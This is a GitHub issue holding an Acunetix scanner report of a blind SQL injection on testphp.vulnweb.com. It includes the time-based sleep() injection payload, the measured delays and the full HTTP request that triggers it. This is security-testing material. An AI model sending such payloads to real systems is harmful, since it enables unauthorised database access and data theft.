Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Acunetix - Blind SQL Injection #1

Open
serkanakpolat opened this issue Apr 4, 2017 · 0 comments
Open

Acunetix - Blind SQL Injection #1

serkanakpolat opened this issue Apr 4, 2017 · 0 comments

Comments

@serkanakpolat
Copy link
Owner

Target URL http://testphp.vulnweb.com
Severity High
Vulnerability Description

This script is possibly vulnerable to SQL Injection attacks.

SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters.

This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable.

Attack Details

URL encoded GET input test was set to (select(0)from(select(sleep(0)))v)/'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"/

Tests performed:
+ (select(0)from(select(sleep(6)))v)/'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"/ => 6.146 + (select(0)from(select(sleep(0)))v)/'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"/ => 1.341 + (select(0)from(select(sleep(9)))v)/'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"/ => 9.157 + (select(0)from(select(sleep(3)))v)/'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"/ => 3.104 + (select(0)from(select(sleep(0)))v)/'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"/ => 0.671 + (select(0)from(select(sleep(0)))v)/'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"/ => 0.125 + (select(0)from(select(sleep(0)))v)/'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"/ => 0.125 + (select(0)from(select(sleep(6)))v)/'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"/ => 7.426 + (select(0)from(select(sleep(0)))v)/'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"/ => 0.671

Original value: 1

HTTP Request
POST /search.php?test=(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'"%2b(select(0)from(select(sleep(0)))v)%2b"*/ HTTP/1.1
Content-Length: 11
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

searchFor=1
Impact

An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information.

Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use sub selects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system.

Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures it may be possible to compromise the entire machine.

Remediation

Your script should filter metacharacters from user input.
Check detailed information for more information about fixing this vulnerability.


References:

Acunetix SQL Injection Attack
VIDEO: SQL Injection tutorial
OWASP Injection Flaws
How to check for SQL injection vulnerabilities
SQL Injection Walkthrough
OWASP PHP Top 5

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

1 participant